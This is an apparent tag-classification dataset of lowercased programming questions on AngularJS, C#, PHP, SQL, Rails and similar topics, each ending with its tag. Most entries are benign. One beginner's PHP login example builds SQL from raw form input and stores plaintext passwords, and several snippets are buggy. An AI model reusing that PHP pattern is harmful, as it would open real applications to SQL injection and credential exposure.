why have multiple controllers per view   we have a new guy at our office that says that i need to break each of my controllers up into several controllers.  currently  each of my controllers serve one view (page) each in my application.  i was taught that unless necessary (i.e. two ui-datepickers on one page)  that you should have only one controller per view.  for example  i have a view that serves up most of the information associated with a company.  it brings back all of this information in one <code>$http</code> call to the web api via an angular service.  the information returned is organized and separated into visual groups on the view using <code>ui-tabs</code>.  he told me that each  tab  should have its own controller.  this would mean having about seven (7) controllers on one view.  when i asked him  why  he couldn t really give me an explanation as to why this would be better.  i m not saying that he is  wrong  but this seems like a lot of unnecessary bloat and work to me as i would have to inherit on each tab to share scope across all controllers.  if this sounds reasonable to any of you angular gurus  could you please explain it to me   i m a pragmatist  so if it makes sense  i ll get on board.  if it sounds crazy  i d like that feedback as well.  thanks for taking the time to read and/or answer this post.  happy coding!,angularjs
how to make of slopes/terrain   how to create this type of slopes/terrain  in unity 5      i am creating a game in which i need random mountain slopes .i don t need the details inside mountain  but only its boundaries. i m confused whether i have to create a this type of slope by code or is there any direct feature in unity for making random mountains boundaries.  <a href= https://i.stack.imgur.com/xlany.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xlany.png  alt= enter image description here ></a>,c#
place of a database file that can be use in ado.net  plz see thic code i want to open(<code>objconnection.open();</code>) and close a database file in this codes but i dont know where should i place the    database  file(in this codes:pubs)to work.plz help me   <pre><code>      public partial class form1 : form       {      sqlconnection objconnection = new sqlconnection(   server=localhost;database=pubs;  +   user id=sa;password= );     sqldataadapter objdataadapter = new sqldataadapter();     dataset objdataset = new dataset();     public form1()     {         initializecomponent();     }      private void form1_load(object sender  eventargs e)     {         // set the selectcommand properties...          objdataadapter.selectcommand = new sqlcommand();         objdataadapter.selectcommand.connection =               objconnection;         objdataadapter.selectcommand.commandtext =           select au_lname  au_fname  title  price   +           from authors   +          join titleauthor on authors.au_id =   +          titleauthor.au_id   +           join titles on titleauthor.title_id =   +          titles.title_id   +           order by au_lname  au_fname ;         objdataadapter.selectcommand.commandtype =              commandtype.text;         // open the database connection...          objconnection.open();         // fill the dataset object with data...          objdataadapter.fill(objdataset   authors );         // close the database connection...          objconnection.close();        } } </code></pre>,c#
how to distinguish between a sha1 string and a date-time string   basically i have two options:   <pre><code>$one =  fdfeb16f096983ada02db49d46a8154475d700ae ; $two =  2011-12-28 05:20:01 ; </code></pre>   i need some sort of regex  so that i can detect wether the string follows the pattern in <code>$one</code>  or the pattern in <code>$two</code>    detect if the string is sha1 or datetime.    what would be the best way to determine this     thanks,php
running php functions on the same screen  hi i m very very new to php and playing with codes to learn. i have a very basic login form that has username and password input and two input buttons  one to create entries in the database and other to read from database.    jsfiddle: <a href= https://jsfiddle.net/e93kcpto/  rel= nofollow >https://jsfiddle.net/e93kcpto/</a>    my sign up and read functions are located in functions.php file    <pre><code>function signupfunct(){  if(isset($_post[ username ]) and isset($_post[ password ])){     $username = $_post[ username ];     $password = $_post[ password ];      $connection = mysqli_connect( localhost   root      loginpage );      if($connection){        $query =  insert into users(username password) values ( $username   $password ) ;        if($query){             mysqli_query($connection $query);           }        else{            die( sign up failed );        }    }    else{        die( failed to connect database );    } }  </code></pre>   }   <pre><code>function readall(){     $connection = mysqli_connect( localhost   root      loginpage );      if($connection){        $query =  select * from users ;        if($query){            $result = mysqli_query($connection $query);             while($row = mysqli_fetch_assoc($result)){                  &gt;                &lt;pre&gt;                    &lt; php print_r($row); &gt;                &lt;/pre&gt;                &lt; php            }        }        else{            die( sign up failed );        }    }    else{        die( failed to connect database );    } </code></pre>   } and this is how i call these two functions in the functions.php file(i m not sure if this is a good approach so if there is a better way please let me know)   <pre><code>if(isset($_post[ signup ])){     signupfunct(); } else if(isset($_post[ display ])){     readall(); } </code></pre>   both functions work fine but the problem is when i click on the display button in the browser i am at <a href= http://localhost.../functions.php  rel= nofollow >http://localhost.../functions.php</a>     what i would like to do is to display the data on the form page when i click on the display button. how can i do this,php
how do i filter a sql table by the top 1   i have a query that is filtered by so number. it also has a column that has a unique number generated each time the so is updated. how can i alter my code so that not only will it be filtered by the so number  but also filter by the top 1  or highest count of the updated key     thank you!  this is on sql server.  should have specified earlier,sql
updating and deleting one record within object  i m trying to create a system in which i can display  edit and delete information on players and teams using angular along with a restful api. i have the parts working in which i show all the data and post data to the database.    the part i am having trouble with is updating data as i can t manage to get the http put working with the correct data being sent.    html   <pre><code>&lt;script type= text/ng-template  id= team-single.html &gt;     &lt;div class= team-box &gt;         &lt;div class= badge &gt;             &lt;img ng-src= images/{{x.club_name}}.png  width= 100  height= 100 &gt;&lt;/div&gt;   &lt;div ng-hide= editorenabled &gt;   &lt;div class= team-name &gt;{{x.club_name}}&lt;/div&gt;         &lt;p&gt;&lt;b&gt;manager:&lt;/b&gt; {{x.club_manager}}&lt;/p&gt;         &lt;p&gt;&lt;b&gt;ground:&lt;/b&gt; {{x.club_ground}}&lt;/p&gt;         &lt;p&gt;&lt;b&gt;nickname:&lt;/b&gt; {{x.club_nickname}}&lt;/p&gt;         &lt;div class= team-p &gt;{{x.club_info}}&lt;/div&gt;   &lt;a href= #  ng-click= editorenabled=!editorenabled &gt;edit team&lt;/a&gt; &lt;/div&gt; &lt;div ng-show= editorenabled &gt;     &lt;p&gt;&lt;input ng-model= x.club_name &gt;&lt;/p&gt;     &lt;p&gt;&lt;input ng-model= x.club_manager &gt;&lt;/p&gt;     &lt;p&gt;&lt;input ng-model= x.club_ground &gt;&lt;/p&gt;     &lt;p&gt; &lt;input ng-model= x.club_nickname &gt;&lt;/p&gt;     &lt;p&gt;&lt;input ng-model= x.club_info &gt;&lt;/p&gt;     &lt;input type= hidden  name= id  ng-value=   /&gt;   &lt;a href= #  ng-click= editorenabled=!editorenabled; updateteam($index) &gt;save&lt;/a&gt;         &lt;/div&gt;  &lt;/script&gt;  &lt;div class= row teams &gt;             &lt;div class= container &gt;                 &lt;div class= col-md-4  ng-repeat= x in teams  ng-include=  team-single.html  &gt;&lt;/div&gt;             &lt;/div&gt; </code></pre>   js   <pre><code>var app = angular.module( footballapp   []);  app.controller( teamctrl   function ($scope  $http) {    $scope.updateteam = function () {     $http({         method:  put           url:  clubs.php/teams/  + id          data:             headers: {              content-type :  application/x-www-form-urlencoded          }    }); }; }); </code></pre>   i have enabled an editor on the front end to edit the fields.  i don t know how to pass the one object being edited back into the updateteam function while not passing the entire team array.     also in the http put  i have to use the id field of the relevant club in the url but i m not sure how to send this back.    any help would be greatly appreciated.,angularjs
how to get super class delegate and update the variable in super class from subclass <pre><code> @interface first{       nsstring one;      second secondobject;   }   @interface second{       nsstring two;   } </code></pre>   in the above classes from second class i want to update the first class  one  string.    i knew that we can update the  two  string from the first class    but i want to update the string  one  from second class   <ul> <li> should not use appdelegate </li> <li> should not use inheritance </li> </ul>   *i want to know like our appdelegate has the <code>[[uiapplication sharedapplication]delegate]</code>    by getting above delegate of appdelegate we can access properties of appdelegate class    like this how can we can get the delegate for first class and access the properties of first class from the second class.    if any pictorial tutorial for tree structure please specify the link    here is my structure,iphone
ios visual format language using superview  i m trying to set a view below the superview without the use of the pipe ( | ). the reason for this is because the superview isn t always the same as the pipe represents.    the code i have tried is this:   <pre><code>uiview *superview = self; nsdictionary *metrics   = @{@ height  : @row_height}; nsdictionary *views     = nsdictionaryofvariablebindings(view  superview); nsstring *hconstraint   = @ h:|[view]| ; nsstring *vconstraint   = @ v:[superview][view(height)] ; [self addconstraints:[nslayoutconstraint constraintswithvisualformat:hconstraint                                                              options:0                                                              metrics:nil                                                                views:views]]; [self addconstraints:[nslayoutconstraint constraintswithvisualformat:vconstraint                                                              options:0                                                              metrics:metrics                                                                views:views]]; </code></pre>   this doesn t display anything. when i change  [superview]  to the pipe it works but as explained above i can t use it,objective-c
why doesn t this really simple css work   the .hide class is dynamically applied and removed. no matter what i do  i simply cannot get this div to animate when it shows.   <pre><code>div{     transform: scaley(1);     transform-origin: top;     transition: transform 0.3s ease-in-out; }  .hide{     transform: scaley(0); } </code></pre>,css
getting syntax error in java code: cannot cast from object to int  i keep getting the syntactic error in java code:   <pre><code> cannot cast from object to int. </code></pre>   the problem code is like this:   <pre><code>int a = (int)obj;//obj is of object type </code></pre>   but i have always been using this trick around  and only get the error recently.    my question:   <ol> <li>is this a real syntactic error </li> <li>is there any configuration that can hide such syntactic error .</li> </ol>,java
how to display the calculations from a filter in angularjs   i wrote an app to convert between decimal values and negabinary.    <a href= http://dev.golightlyplus.com/playground/negabinary/  rel= nofollow >http://dev.golightlyplus.com/playground/negabinary/</a>    i wrote a custom filter so i could do   <pre><code>{{decimal | negabinary}} </code></pre>   the code for it being..   <pre><code>var negabinaryapp = angular.module( negabinaryapp   []);  negabinaryapp.filter( negabinary   function() {      return function (decimal) {          if (isnan(decimal)) return  not a number ;          var negabinary = [];         var base = -2;         var remainder;          while(decimal != 0) {              remainder = decimal % base;             decimal = math.ceil(decimal / base);             negabinary.push(remainder &gt;= 0   remainder : -remainder);         }          return negabinary.reverse().join(  );     } }); </code></pre>   what i d like to be able to do is to also show the calculations on the page.    i could create an array of the calculations for each cycle through the while loop. but how do i then bind them to the html  or is there a better way to go about this     thanks.,angularjs
come out of frame after validation of form inputs html  i am using frame inside a html page  there is a form in the frame. my problem is that i want to get out of the frame. when the input of form is validated i want to open the next page in full page without frame.,html
escape the hat in html   i am writing some html and i can t seem to escape the hat. i tried:   <pre><code>&lt;b&gt;&lt;code&gt;&amp;hat;\s*&lt;/code&gt;&lt;/b&gt; </code></pre>   and also    <pre><code>&lt;b&gt;&lt;code&gt;^\s*&lt;/code&gt;&lt;/b&gt; </code></pre>   and neither renders correctly in firefox. how can i get the indicated markup  the output is supposed to be:    <strong><code>^\s*</code></strong>    the way it comes out is:    ^<strong>\s*</strong>,html
"webcam recording with python tkinter  i want to record video (not audio) from webcam. i have put  two buttons for start recording &amp; stop recording. as program starts it pick image from camera &amp; shows on screen.works perfect. my problem is when i click start recording &amp; after some times stop recording  only avi file created  with 0k or 6k size found. no further recording found.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>import tkinter
 import cv2
 import pil.image  pil.imagetk
 
 
 stopb = none
 
 class app():
     def __init__(self  window  window_title):
         self.window = window
         self.window.title = window_title
         self.ok = false
         self.video = cv2.videocapture(0)
         self.width = self.video.get(cv2.cap_prop_frame_width)
         self.height = self.video.get(cv2.cap_prop_frame_height)
         #create videowriter
         self.fourcc = cv2.videowriter_fourcc(* xvid )
         self.out = cv2.videowriter( output.avi  self.fourcc 10 (640 480))
         # create a canvas that can fit the above video source size
         self.canvas = tkinter.canvas(window  width=self.width  height=self.height)
         self.canvas.pack()
 
         self.opencamera = tkinter.button(window  text= open camera   command=self.open_camera)
         self.opencamera.pack()
         self.closecamera = tkinter.button(window  text= close camera   command=self.close_camera)
         self.closecamera.pack()
         self.delay = 10
         self.update()
 
         # after it is called once  the update method will be automatically called every delay milliseconds
         self.window.mainloop()
 
     def update(self):
         ret  frame = self.video.read()
         if self.ok ==  t :
             self.out.write(frame)
         if ret:
             self.photo = pil.imagetk.photoimage(image=pil.image.fromarray(frame))
             self.canvas.create_image(0  0  image=self.photo  anchor=tkinter.nw)
 
         self.window.after(self.delay  self.update)
 
     def open_camera(self):
         self.ok = true
         print( camera opened )
         print(self.ok)
 
 
     def close_camera(self):
         print( camera closed )
         self.ok = false
         self.video.release()
         self.out.release()
 
     def __del__(self):
         if self.video.isopened():
             self.video.release()
             self.out.release()
 
 
 app(tkinter.tk()   mywindow )</code></pre>
 </div>
 </div>",python
best way to have a common value on all viewholders  i have recycler view with correspondent view holders. these holders have an onclick that makes them show extra info.    now if you click on another holder  the previous one should hide extra data.    i am managing this with a static reference to the hideable text view of the previously clicked holder  but i fear this may not be the best way to do it.    also on my fragment s ondestroyview i call a method to clean this static value as i fear memory leaks.    i want to hear some opinions and sugestions on how correct this approach is and if there is a better alternative.,android
create sequence that refer to a table  i want to create sequence  that refer to  a table   for example:    <pre><code>create table t1 (id int  name varchar (50)) create table t2 (id int  name varchar (50)) </code></pre>   i want that t2.id will refer t1.id by default after i create that table.,sql
return an integer that has been st inside a for loop  i have to create a method in <code>java</code> where a user define a number  and the method search inside an array how many time this number exists  like this:   <pre><code>int[] age = {21  23  21  29  18}; </code></pre>   if the user enters: <code>21</code> the output should be:   <blockquote>    21 exist 2 times  </blockquote>   i made this code:   <pre><code>public static int numagereader(int[] agetosearch)     {         scanner scan = new scanner(system.in);         int n = 0;         int counter=0;         system.out.println( please enter an age: );         n = scan.nextint();         //searching the ages array to see how many persons have this age         for(int i=0; i&lt;agetosearch.length; i++)         {             if(n==agetosearch[i])                 counter += counter; //counter = counter + 1         }         return counter;     } </code></pre>   and of course i called it in the main function:   <pre><code>system.out.println(numagereader(ages)); </code></pre>   where ages is the array that i previously filled it.    the result is always: <code>0</code>    <strong>edit</strong>    this method should return an average of an array:   <pre><code>public static double average(int[] agearray)     {         //double aver=0.0;         int sum = 0;         //calculating the sum of the age array         for (int i=0; i&lt;agearray.length; i++)         {             sum = sum + agearray[i];         }         //calculating the average:         return(sum/agearray.length);         //return aver;     } </code></pre>   the result should be sometimes like 25.33 or 18.91  but the returned value is always like this: 25.0 or 19.0 or 89.0,java
.net vs other top technologies  i would like to ask you all  what do you think about the future of .net technology comparing to other top fashion technologies (for example from google).    is it possible that within few years all solutions will be developed in other technologies than .net. is it worth learning .net solutions looking into the future,.net
rails count number of records in polymorphic association  i have a polymorphic association in my application and i want to be able to count the number of users in a group  and list the users in each group. how can i achieve this     <pre><code>class group &lt; applicationrecord   has_many :user_groups   has_many :users  through: :user_groups end  class user &lt; applicationrecord   has_many :user_groups   has_many :groups  through: :user_groups end  class usergroup &lt; applicationrecord   belongs_to :user   belongs_to :group end </code></pre>   i at the moment i can call <code>user.first.groups</code> however i am not able to call <code>user.groups.all</code> and <code>user.all.groups</code> but none of these work.,ruby-on-rails
what if i use #! instead of # in href of anchor tag <a>   i have used #! in href of a tag in my website. it does not throws the user on top of the page if he/she clicks the link. but my question is  is it legal    <pre><code>&lt;a href= #! &gt;click here&lt;/a&gt; </code></pre>   instead of   <pre><code>&lt;a href= # &gt;click here&lt;/a&gt; </code></pre>,html
aktabbarcontroller missing issue  i have an old ios (objective c) project and it has used a library called aktabbarcontroller for the ui design. currently this library is removed and when installing ‘pods’  it gets failed.    <a href= https://libraries.io/github/alikaragoz/aktabbarcontroller  rel= nofollow noreferrer >https://libraries.io/github/alikaragoz/aktabbarcontroller</a>    i tried to download library files from a available source and linked those files manually. but still i’m getting that library related issues.    can someone explain me what to do when a library is removed from the source.,ios
rails multiple actions share one view  i have a rails controller whose actions all share a similar view layout. rather than duplicating the code in several different views i d like all of the actions to share the same view (and perhaps even actions from another controller).    i realize this can be accomplished by adding a <code>render ...</code> call to every action and telling it to use the same view file  but is there any way i can hook this into a group of actions and avoid being explicit inside every single one,ruby-on-rails
python making custom overloaded operators  is there a simple way in python to make a custom overloaded operator (i am aware of the default ones).    an example of what i mean: say i am working on a vector class  and i want to do a vector cross product which i want to represent by the character x   there is no default overloaded operators that does this. (therefore  i would like to know if this is possible  as it is in c++ for example).    thanks,python
updating  text  nodes with jquery  i have html like:   <pre><code>&lt;label&gt;&lt;input type= radio  /&gt; lorem&lt;/label&gt; </code></pre>   what s the best way to change  lorem  to  ipsum   these don t work:   <pre><code>// nope: $( input ).next().text( ipsum );   // also nope: var text = $( input ).parent()[0].childnodes[1]; $(text).text( ipsum ); </code></pre>   i can easily change the html to:   <pre><code>&lt;label&gt;&lt;input type= radio  /&gt;&lt;span&gt; lorem&lt;/span&gt;&lt;/label&gt; </code></pre>   or use the <code>replacewholetext</code> dom method directly:   <pre><code>$( input ).parent()[0].childnodes[1].replacewholetext(  ipsum ); </code></pre>   or any number of other things  but i m wondering if there s a clean jquery way to do this.,jquery
how to remove p tags within a div   i have a div which contains a paragraph tag wich contains text. what i want is to remove the p tags but keep the text in the div  is this possible in jquery    <pre><code>&lt;div id= footright &gt;&lt;p&gt;circus&lt;/p&gt;&lt;/div&gt; </code></pre>,jquery
installing pear  phpinfo() function shows that my php version (5.1.6) is installed --without-pear in the configure command section.    how do i install pear,php
html: trying to decrypt this url encoding  i have a crawler that scans a few websites and i m unable to find this encoding structure  i was hoping it might look familiar to someone if not  it s worth a shot in the dark.    %3d-67%7c-40%7c-18%7c-105%7c114%7c50%7c-106%7c-119%7c6%7c-120%7c-31%7c-77%7c-86%7c-38%7c69%7c-74%7c54%7c-60%7c45%7c72%7c-21%7c52%7c-21%7c4    i was using <a href= http://www.w3schools.com/tags/ref_urlencode.asp  rel= nofollow >http://www.w3schools.com/tags/ref_urlencode.asp</a> but i dont think this is acsii    well i m trying to follow this link.    <a href= http://www.autotrader.com/redirect/redirector_link.jsp to_url=http%3a%2f%2fwww.carfax.com%2fcfm%2fcheck_order.cfm%3fpartner%3datd_d%26vin%3d-67%7c-40%7c-18%7c-105%7c114%7c50%7c-106%7c-119%7c6%7c-120%7c-31%7c-77%7c-86%7c-38%7c69%7c-74%7c54%7c-60%7c45%7c72%7c-21%7c52%7c-21%7c45&amp;mis=fcvdbdlncf850&amp;car_id=301290632&amp;make=honda  rel= nofollow >http://www.autotrader.com/redirect/redirector_link.jsp to_url=http%3a%2f%2fwww.carfax.com%2fcfm%2fcheck_order.cfm%3fpartner%3datd_d%26vin%3d-67%7c-40%7c-18%7c-105%7c114%7c50%7c-106%7c-119%7c6%7c-120%7c-31%7c-77%7c-86%7c-38%7c69%7c-74%7c54%7c-60%7c45%7c72%7c-21%7c52%7c-21%7c45&amp;mis=fcvdbdlncf850&amp;car_id=301290632&amp;make=honda</a>    and get back the vin,html
rounding to nearest truncated 100  i want to know how i could round to the nearest 100  when a value is truncated.  i was using this:    <pre><code>private static int calculatepaperlevel(int paperlevel) {    int roundedlevel = 0;    roundedlevel = ((int)math.round(paperlevel / 10.0) * 10);    return roundedlevel; } </code></pre>   but this  is what i want    e.g.  191 -> 100    224 -> 200    140 -> 100    295 -> 200,c#
playing ipod library songs in audio queues   not with mpmusicplayer controller  i need to play songs from my music library in the background   while playing video..  both audio and video will play at the same time... first i tried using mpmusicplayercontroller to play music   but when i play video   its stops playing song in background. after that i tried to play music using audiotoolbox. audio queues . now i can play audio and video at the same time  but the song i am playing is static. i want to play song from ipod library and i need to provide the file path there  so is there any way to get the library song path  or any other idea  please suggest..!,iphone
how to store too large binary value in objective-c   i have got a too large binary value.   <pre><code> value1 : 2 ^ 300 000.  value2 : 2 ^ 300 000. </code></pre>   i d like to do  and calculation  of value1 and value2.    first of all  how to store a value1 and value2  (int  float  double...     )   <pre><code> int value1 = 2 ^ 300000; </code></pre>   is this correct     does this way completly store a value     context for using) <br> i have two arrays which has 300 000 elements.   <pre><code>eg) array1 @ [@  apple   @  banana   @  iphone   @  tv   @  clock  .... &lt;= it has 300  000.     array2 @ [@  fruit   @  fruit   @  electric   @  electric   @  electric  ....] &lt;= also has 300 000. </code></pre>   display prefered thing to binary : 1 1 0 0 1 ... <br> display prefered kind  to binary : 1 1 0 0 0 ...     result of calculating  and  of array1 &amp; array2 : 1 1 0 0 0 ... <br> i like  apple  and  banana  of fruit.    reason of using binary calculating are expected to be faster than other way.,objective-c
parse rails console output into excel  perhaps an oddball question.  doing a model.all or the like gets me a somewhat pretty output of the array  <code>[#&lt;model id:5  name: blahblah &gt; #&lt;model id:5  name: etc &gt;]</code>.  is there an easy way to convert this into a csv/excel format with the attributes as columns,ruby-on-rails
print `uint8_t` value to `std::cout` using the `<<` operator  as c++ newbie  i can t fully understand why the following code doesn t work (by  doesn t work  i mean  i don t see the output 255 but instead a  broken  character):   <pre><code>uint8_t num = 0xff; std::cout &lt;&lt; num &lt;&lt; std::endl; </code></pre>   i guess  <code>num</code> is treated here somehow like a (non printable) character.    but i ve found a code sample that solves my problem:   <pre><code>uint8_t num = 0xff; std::cout &lt;&lt; +num &lt;&lt; std::endl; </code></pre>   at the moment  i have no idea what the <code>+</code> operator does in this case  and i really don t know how to google this question...    i would really appreciate it if someone could point me to right direction. many thanks in advance!    edit:    the first part of my question is duplicate of:     <a href= https://stackoverflow.com/questions/19562103/uint8-t-cant-be-printed-with-cout >uint8_t can&#39;t be printed with cout</a>    the answer to second part of my question (<strong>why</strong> the unary <code>+</code> operator helps in this case) can also be found there if you read through all answers and comments. the keyword is <strong>integer promotion</strong>,c++
why i cant take one float and one boolean variable to convert gallons to letre  // convert gallons to leter     <pre><code>class galtolit {     public static void main(string[] args)     {       double liter;// if this variable is float it throws incompatible type error                    // why i can t take float                      double gallons =10;       liter= gallons * 3.7854;       system.out.println(gallons +    gallons =  + liter+   liter );     }    } </code></pre>,java
android listen to service listeners while app in background  i have a <code>service</code> that implements <code>mediaplayer.oncompletelistener</code> and when i am with my app in background the <code>listener</code> doesn t trigger as it should when i am in app. i did try to search something about this subject but no clue how to fix it. when the <code>completelistener</code> is triggering i want the <code>mediaplayer</code> to pass to the next song. i am starting the service in activity and make it foreground with a notification.    my service class is the following:   <pre><code>public class playerservice extends service implements mediaplayer.onpreparedlistener          mediaplayer.onerrorlistener  mediaplayer.oncompletionlistener          mediaplayer.onbufferingupdatelistener{      private static final string action_play =  action.play ;     private static final string action_pause =  action.pause ;     private static final string action_resume =  action.resume ;     private static final string action_seek =  action.seek_to ;     private static final string action_next =  action.next ;     private static final string action_previous =  action.previous ;     private static final string action_repeat =  action.repeat ;     private mediaplayer mediaplayer = null;     private string curenturl;     private boolean repeat = false;     private int currentposition;      private final broadcastreceiver receiver = new broadcastreceiver() {         @override         public void onreceive(context context  intent intent) {             log.i( test    primesc comanda prin broadcastreceiver   + intent.getaction());             string action = intent.getaction();             if(action.equals(action_play)){                 curenturl = intent.getstringextra( musicurl );                 currentposition = intent.getintextra( musicposition   0);                 try {                     if(mediaplayer.isplaying()) {                         mediaplayer.stop();                     }                     mediaplayer.reset();                     mediaplayer.setdatasource(intent.getstringextra( musicurl ));                     mediaplayer.prepareasync();                 } catch (ioexception e) {                     e.printstacktrace();                 }             }             else if(action.equals(action_pause)){                 if(mediaplayer.isplaying())                     mediaplayer.pause();             } else if(action.equals(action_resume)){                 if(!mediaplayer.isplaying())                     mediaplayer.start();             } else if(action.equals(action_seek)){                 if(mediaplayer.isplaying())                     mediaplayer.seekto(intent.getintextra( seekprogress   0) * 100);                 log.i( test   dau seek la  +intent.getintextra( seekprogress   0));             } else if(action.equals(action_next)){                 intent nextintent = new intent( action.activity.next );                 intent.putextra( nextposition   currentposition+1);                 sendbroadcast(nextintent);             } else if(action.equals(action_previous)){                 intent previousintent = new intent( action.activity.previous );                 intent.putextra( previousposition   currentposition-1);                 sendbroadcast(previousintent);             } else if(action.equals(action_repeat)) {                 repeat = intent.getbooleanextra( repeatstatus   false);             }         }     };      @override     public void oncreate() {         mediaplayer = new mediaplayer();         mediaplayer.setaudiostreamtype(audiomanager.stream_music);         mediaplayer.setonpreparedlistener(this);         mediaplayer.setoncompletionlistener(this);         mediaplayer.setonerrorlistener(this);         mediaplayer.setonbufferingupdatelistener(this);          intentfilter filter = new intentfilter();         filter.addaction(action_play);         filter.addaction(action_pause);         filter.addaction(action_next);         filter.addaction(action_resume);         filter.addaction(action_previous);         filter.addaction(action_seek);         filter.addaction(action_repeat);         registerreceiver(receiver  filter);          notification notification = new notification(r.drawable.playlisticon  gettext(r.string.ticker_text)                  system.currenttimemillis());         intent notificationintent = new intent(this  musicplayer.class);         pendingintent pendingintent = pendingintent.getactivity(this  0  notificationintent  0);         notification.setlatesteventinfo(this  gettext(r.string.notification_title)                  gettext(r.string.notification_message)  pendingintent);         startforeground(1337  notification);          log.i( test   oncreate se apeleaza );     }      @override     public void ondestroy() {         unregisterreceiver(receiver);     }      @override     public int onstartcommand(intent intent  int flags  int startid) {          log.i( test   a pornit service-ul );          return start_sticky;     }      @override     public ibinder onbind(intent intent) {         log.i( test    se face onbind );         return null;     }      @override     public void onprepared(mediaplayer mp) {         mp.start();          intent intent = new intent( action.activity.update_ui );         intent.putextra( duration   mp.getduration());         sendbroadcast(intent);     }      @override     public boolean onerror(mediaplayer mp  int what  int extra) {          log.i( test    eroare incerc din nou  +what+   +extra);          try {             if(mediaplayer.isplaying()) {                 mediaplayer.stop();             }             mediaplayer.reset();             mediaplayer.setdatasource(curenturl);             mediaplayer.prepareasync();         } catch (ioexception e) {             e.printstacktrace();         }          return true;     }      @override     public void oncompletion(mediaplayer mediaplayer) {         log.i( test    action oncomplete );          if(repeat) {             intent intent = new intent( action.activity.repeat );             intent.putextra( currentposition   currentposition);             sendbroadcast(intent);         } else {             intent intent = new intent( action.activity.next );             intent.putextra( nextposition   currentposition+1);             sendbroadcast(intent);         }     }      @override     public void onbufferingupdate(mediaplayer mp  int percent) {          if(mediaplayer.isplaying()){             intent intent = new intent( action.activity.update_buffer );             intent.putextra( progress   percent);             intent.putextra( seekbarprogress   mp.getcurrentposition() / 100);             intent.putextra( mediacurentposition   mp.getcurrentposition());             sendbroadcast(intent);              log.i( test   current position =  +mp.getcurrentposition());         }     } } </code></pre>,android
actionview::template::error (undefined method `verified  for  a ten digit phone number :string)  i have a active record called <strong>phonenumber</strong> which has <code>phone_number</code>an integer and <code>verified</code> a boolean column. so i am trying pass ac condition in <code>js.erb</code> template something like this:   <pre><code>$( #hidden_phone_number ).val( &lt;%= @phone_number.phone_number %&gt;  ) &lt;% if @phone_number.phone_number.verified %&gt;     &lt;%= puts  hello world %&gt; &lt;%else%&gt;     $( #send-pin ).hide()     $( #verify-pin ).fadetoggle()     $( #pin ).focus() &lt;%end%&gt; </code></pre>   first i checked for the value of<code>@phone_number.phone_number</code>. it is giving value. and it s verified boolean is <code>true</code>. so when i did above changes in the code and executed it is giving error at :    <code>&lt;% if @phone_number.phone_number.verified %&gt;</code> saying     <code>actionview::template::error (undefined method</code>verified  for  10 digit phone number :string):`    i tried converting using <code>to_i</code>. still same error. how can i fix this,ruby-on-rails
options for select using map and a custom option  i have this line on my code working fine:   <pre><code>&lt;%= select_tag  group_id   options_for_select(@monitor_groups.map{|mg|[mg.name  mg.id] }) %&gt; </code></pre>   besides the monitor_group id and name options i need an additional option for  all  using id 0  but i can t add this on monitor_group  so i need to add this on my options for select.     something like:   <pre><code>&lt;%= select_tag  group_id   options_for_select(@monitor_groups.map{|mg|[mg.name  mg.id] }  [ all   0]) %&gt; </code></pre>   is it possible,ruby-on-rails
how to transpose an 2x2 array   i have an array in the form:   <pre><code>var a1 = [    [ aa   1]     [ aa   2]     [ aa   3]     [ bb   7]     [ bb   8]     [ bb   9] ]; </code></pre>   i want to transform it into:   <pre><code>output = [            [ aa :1 2 3]             [ bb :7 8 9]  ] </code></pre>   i need to transform it this way so i can put my json formatted data that comes from sql into a highcharts graph that seems to need the array series as follows <a href= https://jsfiddle.net/gh/get/library/pure/highcharts/highcharts/tree/master/samples/highcharts/demo/streamgraph/  rel= nofollow noreferrer >https://jsfiddle.net/gh/get/library/pure/highcharts/highcharts/tree/master/samples/highcharts/demo/streamgraph/</a>,javascript
pythonic way of returning an element of a list if a certain char is found in that element  i have a question. i m writing a sudoku solver and for example for the square a1 i want to find a list of the 9 neighbouring squares in the subgrid (a1  a2  a3  b1  b2  b3  c1  c2  c3)    my plan was to split a1 in a and 1 and then return the cross product of  abc  and  123   but i can t figure out how to elegantly return  abc  if square[0]= a .    i want to find a an elegant way to return the list the element was found in from a set of lists. [ abc   def   ghi ]  when i input a  i want to get the string  abc .     full code atm:   <pre><code>def cross_product(a  b):        returns a list of the cross product of a and b.        return [a+b for a in a for b in b]  rows    =  abcdefghi  cols    =  123456789  squares = cross_product(rows  cols) # list of 81 squares  def find_row(square):             returns list of strings with corresponding row values.     example: find_row( a2 ) -&gt; [ a1   a2   ...   a9 ]              return cross_product(square[0]  cols)  def find_col(square):             returns list of strings with corresponding col values.     example: find_col( a2 ) -&gt; [ a2   b2   ...   i2 ]             return cross_product(rows  square[1])   def find_peers(square):             returns list of strings of shared squares in the unit.     example: find_peers( a2 ) -&gt; [ a1    a2    a3    b1    ...   c3 ]             for e in [ abc   def   ghi ]:         if square[0] in e:             r = e      for e in [ 123   456   789 ]:         if square[1] in e:             c = e      return cross_product(r  c) </code></pre>   is there any way to make find_peers(square) more pythonic,python
jquery animate back to start after time  i have 3 blocks with images in  overlayed onto this is a transparent screen and a block of text. on a touch device when the user touches the a href link the first time the semi transparent screen and text animate up.    i have this function doing that when checked the user is on a mobile device:   <pre><code>if(ismobile.any())    $( .animblock a ).on( touchstart   function(e) {    $(this).filter( :not(:animated) ).find( .animtransp ).animate({top: 0 }  300); // animate screen opacity on touch    $(this).filter( :not(:animated) ).find( .animtext ).animate({top: 30px }  300); // animate text on touch }); ; </code></pre>   this works well animating them up on a device such as ipad.    what i d also like to do is have a timer that then after say 3 seconds if the user has not clicked the link again to go to the page then animate the 2 divs back down to the original position.    any help really appreciated.    thanks,jquery
event for touches ended for a uibutton  i have a button which i drags using the code:   <pre> <code> [mybutton addtarget:self action:@selector(dragged:withevent:) forcontrolevents:uicontroleventtouchdraginside]; </code> </pre>   is there any controlevent that can be used as touches ended.,iphone
copy value of one column to another column  but only where fields have no value mysql  i have looked for an answer to this and can t find what i need.  i dare not try anything i have made up...    i want to copy the value of one column (column a) to another column to (column b) but i only want this to happen to fields within column b that have no current value.    thanks in advance for any help.,mysql
cannot add or update a child row error mysql  i just got this error and i m mot sure what it is about. please let me know how i can fix it     thanks   <blockquote>    cannot add or update a child row: a foreign key constraint fails   (<code>db_test</code>.<code>part</code>  constraint <code>part_ibfk_1</code> foreign key (<code>car_id</code>)   references <code>car</code> (<code>id</code>) on delete cascade on update cascade)  </blockquote>,mysql
